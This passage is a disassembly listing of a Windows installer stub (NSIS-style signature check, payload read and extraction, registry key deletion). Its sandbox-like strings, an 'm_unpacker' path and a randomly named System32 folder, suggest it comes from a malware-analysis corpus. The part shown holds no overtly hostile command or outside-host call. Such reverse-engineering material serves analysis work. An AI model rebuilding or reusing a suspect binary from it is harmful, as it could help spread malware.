loc_40285F:				; CODE XREF: sub_402821+2Dj
		push	ecx
sub_402821	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402860	proc near		; DATA XREF: .data:00410C71o
					; .data:0041CCC9o
		jmp	short loc_4028D6
sub_402860	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_402821

loc_402862:				; CODE XREF: sub_402821+28j
		or	ecx, 0FFFFFFFFh
		sub	ecx, eax
		mov	[ebp-1Ch], ecx
		jz	short loc_402878
		push	1
		call	sub_402A7D
		mov	[ebp-20h], eax
		jmp	short sub_402888
; ---------------------------------------------------------------------------

loc_402878:				; CODE XREF: sub_402821+49j
		push	dword ptr [ebp-14h]
		lea	eax, [esi+18h]
		push	eax
		call	sub_4059FD
		or	byte ptr [esi+9], 1
; END OF FUNCTION CHUNK	FOR sub_402821

; =============== S U B	R O U T	I N E =======================================



sub_402888	proc near		; CODE XREF: sub_402821+55j
					; DATA XREF: .data:00410CD9o ...
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-20h]
		mov	[esi+eax*4], ecx
		cmp	[ebp-18h], ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	dword ptr [ebp+8]
		call	sub_40117D
		jmp	loc_40292F	; default
sub_402888	endp			; jumptable 0040148C cases 65,66


; =============== S U B	R O U T	I N E =======================================

; jumptable 0040148C case 64


sub_4028A7	proc near		; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o

; FUNCTION CHUNK AT 004028F5 SIZE 00000013 BYTES

		push	ebx
		call	sub_402A7D
		cmp	eax, 20h
		jnb	loc_4026DA
		cmp	[ebp-18h], ebx
		jz	short loc_4028DE
		cmp	[ebp-1Ch], ebx
		jz	short loc_4028CF
		push	eax
		call	sub_401299
		push	ebx
		push	ebx
		call	sub_4011EF
		jmp	short loc_40292F ; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_4028CF:				; CODE XREF: sub_4028A7+17j
		push	ebx
		call	sub_4012E2

loc_4028D5:				; CODE XREF: sub_4021F6+47Dj
		push	eax

loc_4028D6:				; CODE XREF: sub_402860j
		push	edi

loc_4028D7:				; CODE XREF: sub_401439+149j
		call	sub_405939
		jmp	short loc_40292F ; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_4028DE:				; CODE XREF: sub_4028A7+12j
		cmp	[ebp-1Ch], ebx
		jz	short loc_4028F5
		mov	edx, dword_42F428
		mov	ecx, [ebp-20h]
sub_4028A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4028EC	proc near		; DATA XREF: .data:0041146Ao
					; .data:004115E0o ...
		mov	[edx+eax*4+94h], ecx
		jmp	short loc_40292F ; default
sub_4028EC	endp			; jumptable 0040148C cases 65,66

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4028A7

loc_4028F5:				; CODE XREF: sub_4028A7+3Aj
		mov	ecx, dword_42F428
		push	dword ptr [ecx+eax*4+94h]
		push	edi
		call	sub_4059FD
; END OF FUNCTION CHUNK	FOR sub_4028A7

; =============== S U B	R O U T	I N E =======================================



sub_402908	proc near		; DATA XREF: .data:004114BDo
					; .data:00411644o ...
		jmp	short loc_40292F ; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_40290A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	ecx, dword_42B8A0 ; jumptable 0040148C case 67
		push	ebx
		and	ecx, eax
		push	ecx
		push	0Bh
		push	dword ptr [ebp-8]
		call	ds:dword_40723C	; SendMessageA
		cmp	[ebp-24h], ebx
		jz	short loc_40292F ; default
					; jumptable 0040148C cases 65,66
		push	ebx
		push	ebx
		push	dword ptr [ebp-8]
		call	ds:dword_407238	; InvalidateRect

loc_40292F:				; CODE XREF: sub_401439+4Dj
					; sub_401439+53j ...
		mov	eax, [ebp-4]	; default
					; jumptable 0040148C cases 65,66
		add	dword_42F4A8, eax

loc_402938:				; CODE XREF: sub_401439+48Fj
					; sub_4021F6+41Bj
		xor	eax, eax

loc_40293A:				; CODE XREF: sub_401439+53j
					; sub_401439+9Ej ...
		pop	edi		; jumptable 0040148C case 2
		pop	esi
		pop	ebx
		leave
		retn	4
sub_402908	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_402941	dd offset loc_40293A, offset loc_401493, offset	loc_40149F
					; DATA XREF: sub_401439+53r
		dd offset loc_4014BA, offset loc_4014DC, offset	loc_401518 ; jump table	for switch statement
		dd offset loc_401532, offset loc_401587, offset	loc_4015B7
		dd offset loc_4015D5, offset loc_40165A, offset	loc_401540
		dd offset loc_401556, offset loc_401577, offset	loc_40166B
		dd offset loc_4016FF, offset loc_401763, offset	loc_40178A
		dd offset loc_40179D, offset loc_40194C, offset	loc_40194F
		dd offset loc_401981, offset loc_401996, offset	loc_4019A8
		dd offset loc_401A29, offset loc_401A5A, offset	loc_401A91
		dd offset loc_401AC3, offset loc_401B50, offset	loc_401B71
		dd offset loc_401C19, offset loc_401C19, offset	loc_401CDB
		dd offset loc_401CF8, offset loc_401D13, offset	loc_401D32
		dd offset loc_401D8E, offset loc_401E08, offset	loc_401E34
		dd offset sub_401E9C, offset loc_401F1B, offset	loc_401F4B
		dd offset loc_401FDC, offset loc_4020A6, offset	sub_4021F6
		dd offset loc_402279, offset loc_4022A8, offset	loc_4022EA
		dd offset loc_40232A, offset loc_402386, offset	loc_40242A
		dd offset loc_4024A5, offset loc_402506, offset	loc_40251A
		dd offset loc_40253C, offset loc_402584, offset	loc_402649
		dd offset loc_402678, offset loc_402692, offset	loc_4026BC
		dd offset sub_4026FA, offset sub_402821, offset	sub_4028A7
		dd offset loc_40292F, offset loc_40292F, offset	loc_40290A
off_402A49	dd offset loc_401AE4	; DATA XREF: sub_401439+6A4r
		dd offset loc_401AE8	; jump table for switch	statement
		dd offset loc_401AEC
		dd offset loc_401AF3
		dd offset loc_401B00
		dd offset loc_401B04
		dd offset loc_401B08
		dd offset loc_401B0C
		dd offset loc_401B15
		dd offset loc_401B1F
		dd offset loc_401B2C
		dd offset loc_401B44
		dd offset loc_401B48

; =============== S U B	R O U T	I N E =======================================



sub_402A7D	proc near		; CODE XREF: sub_401439+E0p
					; sub_401439+109p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_40943C
		push	dword ptr [ecx+eax*4]
		push	0
		call	sub_4059FD
		push	eax
		call	sub_405952
		retn	4
sub_402A7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A9A	proc near		; CODE XREF: sub_401439+180p
					; sub_401439+19Ep ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		push	edi
		mov	eax, esi
		jge	short loc_402AA8
		neg	eax

loc_402AA8:				; CODE XREF: sub_402A9A+Aj
		mov	edx, dword_40943C
		mov	ecx, eax
		and	ecx, 0Fh
		sar	eax, 4
		push	dword ptr [edx+ecx*4]
		shl	eax, 0Ah
		add	eax, offset aCWindowsSyst_1 ; "C:\\WINDOWS\\System32\\b06FdUe\\b06FdUe1083"...
		push	eax
		call	sub_4059FD
		test	esi, esi
		mov	edi, eax
		jge	short loc_402AD3
		push	edi
		call	sub_405C17

loc_402AD3:				; CODE XREF: sub_402A9A+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_402A9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ADA	proc near		; CODE XREF: sub_4021F6+17Cp
					; sub_402ADA+42p

var_10C		= byte ptr -10Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		xor	ebx, ebx
		push	8
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_407010	; RegOpenKeyExA
		cmp	eax, ebx
		jnz	short loc_402B4C
		mov	esi, ds:dword_407008
		mov	edi, 105h
		jmp	short loc_402B25
; ---------------------------------------------------------------------------

loc_402B0C:				; CODE XREF: sub_402ADA+5Bj
		cmp	[ebp+arg_8], ebx
		jnz	short loc_402B53
		lea	eax, [ebp+var_10C]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_402ADA
		test	eax, eax
		jnz	short loc_402B37

loc_402B25:				; CODE XREF: sub_402ADA+30j
		lea	eax, [ebp+var_10C]
		push	edi
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	esi	; RegEnumKeyA
		test	eax, eax
		jz	short loc_402B0C

loc_402B37:				; CODE XREF: sub_402ADA+49j
		push	[ebp+var_4]
		call	ds:dword_40701C	; RegCloseKey
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_407014	; RegDeleteKeyA

loc_402B4C:				; CODE XREF: sub_402ADA+23j
					; sub_402ADA+85j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------

loc_402B53:				; CODE XREF: sub_402ADA+35j
		push	[ebp+var_4]
		call	ds:dword_40701C	; RegCloseKey
		xor	eax, eax
		inc	eax
		jmp	short loc_402B4C
sub_402ADA	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B61	proc near		; CODE XREF: sub_4021F6+176p
					; sub_4021F6+191p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short locret_402B73
		mov	eax, dword_42F4A4
		add	eax, 80000001h

locret_402B73:				; CODE XREF: sub_402B61+6j
		retn	4
sub_402B61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B76	proc near		; CODE XREF: sub_4021F6+13Bp
					; sub_4021F6+239p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	22h
		call	sub_402A9A
		push	eax
		mov	eax, dword_40943C
		push	dword ptr [eax+4]
		call	sub_402B61
		push	eax
		call	ds:dword_407010	; RegOpenKeyExA
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, [ebp+arg_0]
		pop	ebp
		retn	4
sub_402B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BAB	proc near		; DATA XREF: sub_402C37+157o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 110h
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, 113h
		jnz	short loc_402BDC
		push	0
		push	0FAh
		push	1
		push	edi
		call	ds:dword_4071E4	; SetTimer
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_4], esi
		mov	dword_40B048, eax

loc_402BDC:				; CODE XREF: sub_402BAB+14j
		cmp	[ebp+arg_4], esi
		jnz	short loc_402C2F
		mov	ecx, dword_414C50
		mov	eax, dword_428C58
		cmp	ecx, eax
		jl	short loc_402BF2
		mov	ecx, eax

loc_402BF2:				; CODE XREF: sub_402BAB+43j
		push	eax
		push	64h
		push	ecx
		call	ds:dword_40712C	; MulDiv

loc_402BFC:				; DATA XREF: .data:0040F9E0o
					; .data:0040F9E4o ...
		push	eax
		mov	esi, offset dword_414C10
		push	dword_40B048
		push	esi
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_4071E8	; SetWindowTextA
		push	esi
		push	406h
		push	edi
		call	sub_4052B9	; SetDlgItemTextA
		push	5
		push	edi
		call	ds:dword_407258	; ShowWindow

loc_402C2F:				; CODE XREF: sub_402BAB+34j
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	10h
sub_402BAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C37	proc near		; CODE XREF: start+160p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	[ebp+var_4], esi
		call	ds:dword_40709C	; GetTickCount
		mov	[ebp+var_C], esi

loc_402C4E:				; DATA XREF: .data:0040F990o
					; .data:0041B9E8o
		mov	[ebp+var_8], esi
		mov	esi, offset aCM_unpacker ; "C:\\m_unpacker"
		push	400h
		push	esi
		mov	edi, eax
		push	dword_42F420
		add	edi, 3E8h
		call	ds:dword_407098	; GetModuleFileNameA
		push	3

loc_402C72:				; DATA XREF: .data:0040F994o
					; .data:0041B9ECo
		push	80000000h
		push	esi
		call	sub_4056AC
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp+var_10], ebx
		mov	dword_409020, ebx
		jnz	short loc_402C97
		mov	eax, offset aErrorLaunching ; "Error launching installer"
		jmp	loc_402EB6
; ---------------------------------------------------------------------------

loc_402C97:				; CODE XREF: sub_402C37+54j
		push	esi

loc_402C98:				; DATA XREF: .data:0040F97Co
					; .data:0041B9D4o
		call	sub_40552F
		push	0
		push	ebx
		call	ds:dword_407094	; GetFileSize
		test	eax, eax
		mov	dword_428C58, eax
		mov	esi, eax
		jle	loc_402DDE

loc_402CB5:				; CODE XREF: sub_402C37+192j
		mov	eax, dword_42F42C
		mov	ebx, esi

loc_402CBC:				; DATA XREF: .data:0040F978o
					; .data:0041B9D0o
		neg	eax
		sbb	eax, eax
		and	eax, 7E00h
		add	eax, 200h
		cmp	esi, eax
		jl	short loc_402CD0
		mov	ebx, eax

loc_402CD0:				; CODE XREF: sub_402C37+95j
		push	ebx
		push	offset aHDnz	; "Ù;h{¤­‡Û"
		call	sub_4030E9
		test	eax, eax

loc_402CDD:				; DATA XREF: .data:0040F98Co
					; .data:0041B9E4o
		jz	loc_402E49
		xor	eax, eax
		cmp	dword_42F42C, eax
		jnz	short loc_402D6C
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	offset aHDnz	; "Ù;h{¤­‡Û"
		push	eax
		call	sub_40568C
		mov	ecx, [ebp+var_2C]

loc_402D00:				; DATA XREF: .data:0040F988o
					; .data:0041B9E0o
		test	ecx, 0FFFFFFF0h
		jnz	loc_402DA6
		cmp	[ebp+var_28], 0DEADBEEFh
		jnz	loc_402DA6
		cmp	[ebp+var_1C], 74736E49h
		jnz	loc_402DA6

loc_402D26:				; DATA XREF: .data:0040F980o
					; .data:0041B9D8o
		cmp	[ebp+var_20], 74666F73h
		jnz	short loc_402DA6
		cmp	[ebp+var_24], 6C6C754Eh
		jnz	short loc_402DA6
		mov	eax, [ebp+var_14]
		cmp	eax, esi
		jg	loc_402E42
		or	[ebp+arg_0], ecx
		mov	edx, dword_414C50

loc_402D4C:				; DATA XREF: .data:0040F984o
					; .data:0041B9DCo
		test	byte ptr [ebp+arg_0], 8
		mov	dword_42F42C, edx
		jnz	short loc_402D5E
		test	byte ptr [ebp+arg_0], 4
		jnz	short loc_402DCF

loc_402D5E:				; CODE XREF: sub_402C37+11Fj
		inc	[ebp+var_8]
		lea	esi, [eax-4]
		cmp	ebx, esi
		jbe	short loc_402DA6
		mov	ebx, esi
		jmp	short loc_402DA6
; ---------------------------------------------------------------------------

loc_402D6C:				; CODE XREF: sub_402C37+B4j
		test	byte ptr [ebp+arg_0], 2

loc_402D70:				; DATA XREF: .data:0040F9D8o
					; .data:0041BA30o
		jnz	short loc_402DA6
		cmp	[ebp+var_4], eax
		jz	short loc_402D7F
		push	eax
		call	sub_405D18
		jmp	short loc_402DA6
; ---------------------------------------------------------------------------

loc_402D7F:				; CODE XREF: sub_402C37+13Ej
		call	ds:dword_40709C	; GetTickCount
		cmp	eax, edi
		jbe	short loc_402DA6
		push	offset aVerifyingInsta ; "verifying installer: %d%%"
		push	offset sub_402BAB
		push	0
		push	6Fh

loc_402D97:				; DATA XREF: .data:0040F974o
					; .data:0041B9CCo
		push	dword_42F420
		call	ds:dword_4071DC	; CreateDialogParamA
		mov	[ebp+var_4], eax

loc_402DA6:				; CODE XREF: sub_402C37+CFj
					; sub_402C37+DCj ...
		cmp	esi, dword_428C58
		jge	short loc_402DBF
		push	ebx
		push	offset aHDnz	; "Ù;h{¤­‡Û"
		push	[ebp+var_C]
		call	sub_405D4B
		mov	[ebp+var_C], eax

loc_402DBF:				; CODE XREF: sub_402C37+175j
					; DATA XREF: .data:0040E588o ...
		add	dword_414C50, ebx
		sub	esi, ebx
		test	esi, esi
		jg	loc_402CB5

loc_402DCF:				; CODE XREF: sub_402C37+125j
		cmp	[ebp+var_4], 0
		jz	short loc_402DDE
		push	[ebp+var_4]
		call	ds:dword_4071E0	; DestroyWindow

loc_402DDE:				; CODE XREF: sub_402C37+78j
					; sub_402C37+19Cj
		xor	edi, edi
		cmp	dword_42F42C, edi
		jz	short loc_402E42
		cmp	[ebp+var_8], edi
		jz	short loc_402E0F
		push	dword_414C50
		call	sub_40311B
		lea	eax, [ebp+var_8]
		push	4
		push	eax

loc_402DFE:				; DATA XREF: .data:0040E7D4o
					; .data:0041A82Co
		call	sub_4030E9
		test	eax, eax
		jz	short loc_402E42
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_402E42

loc_402E0F:				; CODE XREF: sub_402C37+1B4j
		push	[ebp+var_18]
		push	40h
		call	ds:dword_4070F8	; GlobalAlloc
		mov	esi, eax
		mov	eax, dword_42F42C
		add	eax, 1Ch
		push	eax
		call	sub_40311B
		push	[ebp+var_18]
		push	esi
		push	edi
		push	0FFFFFFFFh
		call	sub_402EBD
		cmp	eax, [ebp+var_18]
		jz	short loc_402E5A
		push	esi

loc_402E3C:				; DATA XREF: .data:0040F840o
					; .data:0041B898o
		call	ds:dword_4070F4	; GlobalFree

loc_402E42:				; CODE XREF: sub_402C37+106j
					; sub_402C37+1AFj ...
		mov	eax, offset aTheInstallerYo ; "The installer you are trying to use is "...
		jmp	short loc_402EB6
; ---------------------------------------------------------------------------

loc_402E49:				; CODE XREF: sub_402C37:loc_402CDDj
					; DATA XREF: .data:0040F804o ...
		cmp	[ebp+var_4], 0
		jz	short loc_402E42
		push	[ebp+var_4]
		call	ds:dword_4071E0	; DestroyWindow

loc_402E58:				; DATA XREF: .data:0040F830o
					; .data:0040F848o ...
		jmp	short loc_402E42
; ---------------------------------------------------------------------------

loc_402E5A:				; CODE XREF: sub_402C37+202j
		test	byte ptr [ebp+arg_0], 2
		mov	dword_42F428, esi

loc_402E64:				; DATA XREF: .data:0040F84Co
					; .data:0041B8A4o
		jz	short loc_402E69
		or	dword ptr [esi], 8

loc_402E69:				; CODE XREF: sub_402C37:loc_402E64j
		mov	eax, [esi]
		and	eax, 18h
		test	byte ptr [ebp+var_2C], 1

loc_402E72:				; DATA XREF: .data:0040F828o
					; .data:0041B880o
		mov	dword_42F4C0, eax
		mov	eax, [esi]
		mov	dword_42F430, eax
		jz	short loc_402E86

loc_402E80:				; DATA XREF: .data:0040F82Co
					; .data:0041B884o
		inc	dword_42F434

loc_402E86:				; CODE XREF: sub_402C37+247j
		push	8
		lea	eax, [esi+44h]
		pop	ecx

loc_402E8C:				; CODE XREF: sub_402C37+25Bj
		sub	eax, 8
		add	[eax], esi
		dec	ecx
		jnz	short loc_402E8C
		push	1
		push	edi
		push	edi

loc_402E98:				; DATA XREF: .data:0040F810o
					; .data:0041B868o
		push	[ebp+var_10]

loc_402E9B:				; DATA XREF: .data:0040F808o
					; .data:0041B860o
		call	ds:dword_407130	; SetFilePointer
		mov	[esi+3Ch], eax
		add	esi, 4
		push	40h
		push	esi

loc_402EAA:				; DATA XREF: .data:0040F818o
					; .data:0041B870o
		push	offset dword_42F440
		call	sub_40568C
		xor	eax, eax

loc_402EB6:				; CODE XREF: sub_402C37+5Bj
					; sub_402C37+210j
		pop	edi
		pop	esi

loc_402EB8:				; DATA XREF: .data:0040F834o
					; .data:0041B88Co
		pop	ebx
		leave
		retn	4
sub_402C37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EBD	proc near		; CODE XREF: sub_401439+4ACp
					; sub_4021F6+20Ep ...

var_58		= byte ptr -58h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx

loc_402EC4:				; DATA XREF: .data:0040F838o
					; .data:0041B890o
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		mov	edi, [ebp+arg_8]

loc_402ECC:				; DATA XREF: .data:0040F820o
					; .data:0041B878o
		mov	[ebp+var_8], esi
		test	edi, edi
		jnz	short loc_402EDA

loc_402ED3:				; DATA XREF: .data:0040F824o
					; .data:0041B87Co
		mov	[ebp+var_8], 8000h

loc_402EDA:				; CODE XREF: sub_402EBD+14j
		and	[ebp+var_4], 0

loc_402EDE:				; DATA XREF: .data:0040F800o
					; .data:0041B858o
		mov	[ebp+var_C], edi
		test	edi, edi
		jnz	short loc_402EEC
		mov	[ebp+var_C], offset dword_418C58

loc_402EEC:				; CODE XREF: sub_402EBD+26j
		mov	eax, [ebp+arg_0]

loc_402EEF:				; DATA XREF: .data:0040E34Co
					; .data:0041A3A4o
		test	eax, eax
		jl	short loc_402F01
		mov	ecx, dword_42F478
		add	ecx, eax
		push	ecx
		call	sub_40311B

loc_402F01:				; CODE XREF: sub_402EBD+34j
		lea	eax, [ebp+arg_C]
		push	4
		push	eax
		call	sub_4030E9
		test	eax, eax
		jz	loc_403094
		test	byte ptr [ebp+arg_C+3],	80h
		jz	loc_40307D
		mov	ebx, ds:dword_40709C
		call	ebx	; GetTickCount
		and	dword_40B57C, 0
		and	dword_40B578, 0
		and	[ebp+arg_C], 7FFFFFFFh
		mov	[ebp+var_10], eax
		mov	eax, offset dword_40CC00
		mov	dword_40B060, 8
		mov	off_414C08, eax
		mov	off_414C04, eax
		mov	eax, [ebp+arg_C]
		mov	off_414C00, offset off_414C00
		mov	[ebp+arg_0], eax
		jle	loc_4030DF

loc_402F6D:				; CODE XREF: sub_402EBD+1B0j
		mov	esi, 4000h
		cmp	[ebp+arg_C], esi
		jge	short loc_402F7A
		mov	esi, [ebp+arg_C]

loc_402F7A:				; CODE XREF: sub_402EBD+B8j
		mov	edi, offset dword_414C58
		push	esi
		push	edi
		call	sub_4030E9
		test	eax, eax
		jz	loc_403094
		sub	[ebp+arg_C], esi
		mov	off_40B050, edi
		mov	dword_40B054, esi

loc_402F9D:				; CODE XREF: sub_402EBD+1A5j
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_8]
		push	offset off_40B050
		mov	off_40B058, edi
		mov	dword_40B05C, eax
		call	sub_405DB9
		test	eax, eax
		mov	[ebp+var_18], eax
		jl	loc_403075
		mov	esi, off_40B058
		sub	esi, edi
		call	ebx	; GetTickCount
		test	byte ptr dword_4092A0, 1
		mov	edi, eax
		jz	short loc_40301B
		sub	eax, [ebp+var_10]
		cmp	eax, 0C8h
		ja	short loc_402FE8
		cmp	[ebp+arg_C], 0
		jnz	short loc_40301B

loc_402FE8:				; CODE XREF: sub_402EBD+123j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_0]
		sub	eax, [ebp+arg_C]
		push	64h
		push	eax
		call	ds:dword_40712C	; MulDiv
		push	eax
		lea	eax, [ebp+var_58]
		push	offset a___D	; "... %d%%"
		push	eax
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	0
		call	sub_404D7E
		mov	[ebp+var_10], edi

loc_40301B:				; CODE XREF: sub_402EBD+119j
					; sub_402EBD+129j
		xor	eax, eax
		cmp	esi, eax
		jz	short loc_40306A
		cmp	[ebp+arg_8], eax
		jnz	short loc_403046
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	ds:dword_407124	; WriteFile
		test	eax, eax
		jz	short loc_403079
		cmp	[ebp+var_14], esi
		jnz	short loc_403079
		add	[ebp+var_4], esi
		jmp	short loc_40305E
; ---------------------------------------------------------------------------

loc_403046:				; CODE XREF: sub_402EBD+167j
		sub	[ebp+var_8], esi
		add	[ebp+var_4], esi
		mov	eax, off_40B058
		cmp	[ebp+var_8], 1
		mov	[ebp+var_C], eax
		jl	loc_4030DF

loc_40305E:				; CODE XREF: sub_402EBD+187j
		cmp	[ebp+var_18], 1
		jnz	loc_402F9D
		jmp	short loc_4030DF
; ---------------------------------------------------------------------------

loc_40306A:				; CODE XREF: sub_402EBD+162j
		cmp	[ebp+arg_C], eax
		jg	loc_402F6D
		jmp	short loc_4030DF
; ---------------------------------------------------------------------------

loc_403075:				; CODE XREF: sub_402EBD+100j
		push	0FFFFFFFCh
		jmp	short loc_403096
; ---------------------------------------------------------------------------

loc_403079:				; CODE XREF: sub_402EBD+17Dj
					; sub_402EBD+182j ...
		push	0FFFFFFFEh
		jmp	short loc_403096
; ---------------------------------------------------------------------------

loc_40307D:				; CODE XREF: sub_402EBD+5Bj
		test	edi, edi
		jz	short loc_4030D4
		cmp	[ebp+arg_C], esi
		jge	short loc_403089
		mov	esi, [ebp+arg_C]

loc_403089:				; CODE XREF: sub_402EBD+1C7j
		push	esi
		push	edi
		call	sub_4030E9
		test	eax, eax
		jnz	short loc_4030DC

loc_403094:				; CODE XREF: sub_402EBD+51j
					; sub_402EBD+CBj ...
		push	0FFFFFFFDh

loc_403096:				; CODE XREF: sub_402EBD+1BAj
					; sub_402EBD+1BEj
		pop	eax
		jmp	short loc_4030E2
; ---------------------------------------------------------------------------

loc_403099:				; CODE XREF: sub_402EBD+21Bj
		mov	esi, [ebp+var_8]
		cmp	[ebp+arg_C], esi
		jge	short loc_4030A4
		mov	esi, [ebp+arg_C]

loc_4030A4:				; CODE XREF: sub_402EBD+1E2j
		mov	edi, offset dword_414C58
		push	esi
		push	edi
		call	sub_4030E9
		test	eax, eax
		jz	short loc_403094
		lea	eax, [ebp+arg_8]
		push	0
		push	eax
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_407124	; WriteFile
		test	eax, eax
		jz	short loc_403079
		cmp	esi, [ebp+arg_8]
		jnz	short loc_403079
		add	[ebp+var_4], esi
		sub	[ebp+arg_C], esi

loc_4030D4:				; CODE XREF: sub_402EBD+1C2j
		cmp	[ebp+arg_C], 0
		jg	short loc_403099
		jmp	short loc_4030DF
; ---------------------------------------------------------------------------

loc_4030DC:				; CODE XREF: sub_402EBD+1D5j
		mov	[ebp+var_4], esi

loc_4030DF:				; CODE XREF: sub_402EBD+AAj
					; sub_402EBD+19Bj ...
		mov	eax, [ebp+var_4]

loc_4030E2:				; CODE XREF: sub_402EBD+1DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_402EBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E9	proc near		; CODE XREF: sub_4026FA+89p
					; sub_402C37+9Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	0
		push	eax
		push	esi
		push	[ebp+arg_0]
		push	dword_409020
		call	ds:dword_407128	; ReadFile
		test	eax, eax
		jz	short loc_403114
		cmp	[ebp+arg_4], esi
		jnz	short loc_403114
		xor	eax, eax
		inc	eax
		jmp	short loc_403116
; ---------------------------------------------------------------------------

loc_403114:				; CODE XREF: sub_4030E9+1Fj
					; sub_4030E9+24j
		xor	eax, eax

loc_403116:				; CODE XREF: sub_4030E9+29j
		pop	esi
		pop	ebp
		retn	8
sub_4030E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40311B	proc near		; CODE XREF: sub_4026FA+80p
					; sub_402C37+1BCp ...

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		push	dword_409020
		call	ds:dword_407130	; SetFilePointer
		retn	4
sub_40311B	endp


; =============== S U B	R O U T	I N E =======================================



sub_403132	proc near		; CODE XREF: start+63p	start+83p
		push	esi
		mov	esi, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\"
		push	esi
		call	sub_405C17
		push	esi
		call	sub_405554
		test	eax, eax
		jnz	short loc_40314A
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40314A:				; CODE XREF: sub_403132+14j
		push	esi
		call	sub_4054E8
		push	0
		push	esi
		call	ds:dword_407088	; CreateDirectoryA
		push	esi
		push	offset byte_435000
		call	sub_4056DB
		pop	esi
		retn
sub_403132	endp


; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_224		= dword	ptr -224h
var_204		= dword	ptr -204h
var_1E8		= dword	ptr -1E8h
var_1CC		= dword	ptr -1CCh
var_1C4		= dword	ptr -1C4h
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_17C		= byte ptr -17Ch
var_174		= dword	ptr -174h
var_164		= byte ptr -164h

		sub	esp, 17Ch
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		mov	[esp+18Ch+var_174], esi
